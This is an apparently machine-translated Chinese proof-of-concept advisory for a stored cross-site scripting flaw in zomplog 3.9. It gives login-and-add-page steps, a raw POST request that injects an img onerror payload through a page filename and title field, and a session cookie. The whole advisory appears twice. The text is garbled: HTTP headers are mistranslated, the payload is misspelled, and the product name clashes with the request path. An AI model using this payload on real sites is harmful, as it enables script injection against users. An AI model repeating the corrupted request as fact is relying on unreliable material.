利用标题: zomplog 3.9-跨站点脚本（XSS）
application: zomplog
版本: v3.9
BUGS: XSS
Technology: php
供应商URL: http://zomp.nl/ZOMPLOG/
软件link: http://zomp.nl/zomplog/downloads/zomplog/zomplog3.9.9.zip
发现日期: 22.07.2023
作者:MirabbasAğalarov
在: Linux上测试
2。技术细节POC
====================================================
步骤:
1。登录帐户
2。添加新页面
3。设置为img src=x OneError=arter（4）
4。转到菜单
POC请求:
post/zimplitcms/zimplit.php?action=copyhtmlfile=index.htmlnewnewname=img_src=x_onerror=alert（5).htmltitle=%3cimg%20SRC%20SRC%3DX;
HOST: LOCALHOST
内容长度: 11
SEC-CH-UA:
ACCEPT: /
content-type:应用程序/x-www-form-urlenceded
X-重新要求- WITH: XMLHTTPREQUEST
sec-ch-ua-mobile:0
用户- 代理: Mozilla/5.0（Windows NT 10.0; Win64; X64）AppleWebkit/537.36（Khtml，像Gecko一样）Chrome/114.0.5735.134 Safari/537.36
sec-ch-ua-platform:''
Origin: http://localhost
sec-fetch-site:相同原产
sec-fetch mode: cors
sec-fetch-Dest:空
Referer: http://localhost/zimplitcms/zimplit.php？action=loadfile=index.html
Accept-incoding: Gzip，放气
Accept-Language: en-us，en; q=0.9
cookie: zsessionlang=en; zsessionId=tns0pu8urk9nl78nivpm; zeditordata=sidemenustatus
pen
连接:关闭
空=空
application: zomplog
版本: v3.9
BUGS: XSS
Technology: php
供应商URL: http://zomp.nl/ZOMPLOG/
软件link: http://zomp.nl/zomplog/downloads/zomplog/zomplog3.9.9.zip
发现日期: 22.07.2023
作者:MirabbasAğalarov
在: Linux上测试
2。技术细节POC
====================================================
步骤:
1。登录帐户
2。添加新页面
3。设置为img src=x OneError=arter（4）
4。转到菜单
POC请求:
post/zimplitcms/zimplit.php?action=copyhtmlfile=index.htmlnewnewname=img_src=x_onerror=alert（5).htmltitle=%3cimg%20SRC%20SRC%3DX;
HOST: LOCALHOST
内容长度: 11
SEC-CH-UA:
ACCEPT: /
content-type:应用程序/x-www-form-urlenceded
X-重新要求- WITH: XMLHTTPREQUEST
sec-ch-ua-mobile:0
用户- 代理: Mozilla/5.0（Windows NT 10.0; Win64; X64）AppleWebkit/537.36（Khtml，像Gecko一样）Chrome/114.0.5735.134 Safari/537.36
sec-ch-ua-platform:''
Origin: http://localhost
sec-fetch-site:相同原产
sec-fetch mode: cors
sec-fetch-Dest:空
Referer: http://localhost/zimplitcms/zimplit.php？action=loadfile=index.html
Accept-incoding: Gzip，放气
Accept-Language: en-us，en; q=0.9
cookie: zsessionlang=en; zsessionId=tns0pu8urk9nl78nivpm; zeditordata=sidemenustatus
pen连接:关闭
空=空
